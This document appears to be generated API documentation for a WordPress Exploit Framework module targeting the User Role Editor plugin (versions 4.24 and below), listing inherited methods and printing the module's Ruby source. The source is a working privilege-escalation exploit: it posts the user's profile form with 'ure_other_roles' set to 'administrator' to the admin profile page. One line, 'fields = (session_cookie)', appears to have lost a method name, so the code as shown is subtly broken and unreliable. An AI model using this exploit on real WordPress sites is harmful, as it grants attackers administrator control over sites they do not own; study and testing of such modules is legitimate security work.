Class: Wpxf::Auxiliary::UserRoleEditorPrivilegeEscalation

Inherits:
Module
  • Object
show all
Includes:
WordPress::User
Defined in:
lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::User

#wordpress_user_exists?, #wordpress_user_profile_form_fields

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ UserRoleEditorPrivilegeEscalation

Returns a new instance of UserRoleEditorPrivilegeEscalation.



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb', line 6

def initialize
  super

  update_info(
    name: 'User Role Editor <= 4.24 Privilege Escalation',
    desc: 'The User Role Editor plugin, in versions 4.24 and below, '\
          'allows authenticated users to escalate their user role to '\
          'that of an administrator.',
    author: [
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '8432'],
      ['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/']
    ],
    date: 'Apr 04 2016'
  )
end

Instance Method Details

#build_update_body ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb', line 33

def build_update_body
  fields = (session_cookie)
  return nil unless fields
  fields.merge('ure_other_roles' => 'administrator')
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb', line 25

def check
  check_plugin_version_from_readme('user-role-editor', '4.25')
end

#requires_authentication ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb', line 29

def requires_authentication
  true
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb', line 39

def run
  return false unless super

  body = build_update_body
  unless body
    emit_error 'Failed to build payload'
    return false
  end

  res = execute_post_request(url: wordpress_url_admin_profile, body: body, cookie: session_cookie)
  unless res.code == 302 || res.code == 200
    emit_error "Request returned code #{res.code}"
    return false
  end

  emit_success "User role for #{datastore['username']} has been escalated to administrator"
  true
end